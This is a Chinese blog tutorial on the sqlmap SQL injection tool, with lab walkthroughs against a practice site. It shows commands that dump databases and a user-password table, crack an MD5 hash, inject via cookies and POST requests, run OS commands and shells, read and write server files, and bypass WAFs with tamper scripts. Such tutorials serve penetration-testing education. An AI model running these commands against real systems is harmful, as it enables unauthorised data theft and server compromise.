Sqlmap简单使用详解

Sqlmap概述

Sqlap是一个开源的、自动化的SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过tamper脚本,功能非常强大
(当然在检测漏洞的时候最好就是手工配合工具)

工作原理

它的工作原理和手工注入的原理是一样的:检测动态页面中get/post参数、cookie、 http头,并爆出数据。
不需要我们再手动写payload,因为它有非常强大的引擎,各种各样的参数、各种各样的位置,它都可以去完成SQL注入漏洞的检测、利用、以及数据的提取。

Win安装

这个sqlmap需要python2才可以正常执行,所以先前需安装python2。然后去官网下载安装就好了,一步到位~
(注意python3不行哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中一个python执行文件的名字,以便在path中添加环境变量的时候,可以正确区分)

Sqlmap使用

常用

判断是否存在注入
sqlmap.py -u [注入点]

判断文本中的请求是否存在注入
sqlmap.py -r [文件目录]/[文件名]

查询当前用户下的所有数据库
sqlmap.py -u [注入点] --dbs

获取数据库中的表名
sqlmap.py -u [注入点] -D [库名] --tables

获取表中的字段名
sqlmap.py -u [注入点] -D [库名] -T [表名] --columns

获取字段内容
sqlmap.py -u [注入点] -D [库名] -T [表名] -C[字段1],[字段2] --dump

获取数据库的所有用户
sqlmap.py -u [注入点] --users

获取数据库用户密码
sqlmap.py -u [注入点] --passwords

获取当前网站数据库名称
sqlmap.py -u [注入点] --current-db

获取当前网站数据库的用户名称
sqlmap.py -u [注入点] --current-user

进阶

--level 5 探测等级
默认为1. 等级越高,所含的Payload越多,测试的越全面

--is-dba 当前用户是否为管理权限
sqlmap.py -u [注入点] --is-dba

列出数据库管理员角色
sqlmap.py -u [注入点] --roles

HTTP Referer头
sqlmap.py -u [注入点] --referer

运行自定义SQL语句
sqlmap.py -u [注入点] --sql-shell
sql-shell>select * from sql.users limit 0,1

运行任意操作系统命令
--os-cmd,--os-shell

从数据库服务器中读取文件(会自动返回文件路径)
sqlmap.py -u [注入点] --file-read [文件路径及文件名]

上传文件到数据库服务器中
sqlmap.py -u [注入点] --file-write [文件路径及文件名] --file-dest [指定文件所放服务器的路径及文件名]

SQLmap自带绕过脚本tamper讲解
sqlmap -u [url] --tamper [模块名]
可以使用--identify-waf对一些网站是否有安全防护进行试探

tamper脚本
sqlmap中的tamper脚本来对目标进行更高效的攻击。通过修改tamper脚本模板,我们可以进行sqlmap绕过waf的操作。
tamper模块的工作原理
通过python脚本完成对于特定命令或参数的替换修改,从而可以达到使用sqlmap进行waf绕过操作。
常用tamper脚本参考:https://blog.csdn.net/qq_34444097/article/details/82717357
 

实验

一、Mysql注入

sqlmap.py -u http://www.any.com/wcms/show.php?id=33 使用的参数是-u,意思是url
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump
在这里插入图片描述
去MD5在线解密得到admin,123456
 
(以下实验就不做过多重复后续的演示了)

二、cookie注入

抓包
在这里插入图片描述
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2
HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试
在这里插入图片描述
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2 –dbs
在这里插入图片描述

三、post注入

抓包
在这里插入图片描述
保存在sqlmap安装目录下
在这里插入图片描述
python sqlmap.py -r 1.txt --current-db
在这里插入图片描述

四、交互式shell

交互式写shell使用的参数 --sqlmap-shell
用户可以看到交互式的sqlmap shell,它具有所有以前运行的历史记录,包括使用过的选项和/或开关。还可以直接使用sqlmap进行注入的相关参数直接进行SQL注入操作
在这里插入图片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-cmd=ipconfig
在这里插入图片描述
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-shell
在这里插入图片描述

五、时间盲注

sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --technique T --time-sec 6 --current-db
(时间盲注sleep默认为5)
在这里插入图片描述

六、简单绕waf

sqlmap.py -u http://www.any.com/fwcms/show.php?id=32 --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
–batch:用于从不询问用户输入,使用所有默认配置
–flush-session:为了刷新当前目标的会话文件
equaltolike.py:用like代替等号
space2comment.py:用注释符/**/替换空间字符(‘ ‘)
randomcase.py:随机大小写
在这里插入图片描述
先演示这么些吧~
最后,有机会可以去研究下tamper模块,遇到waf时进行fuzz绕过或尝试自己写一个tamper
 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章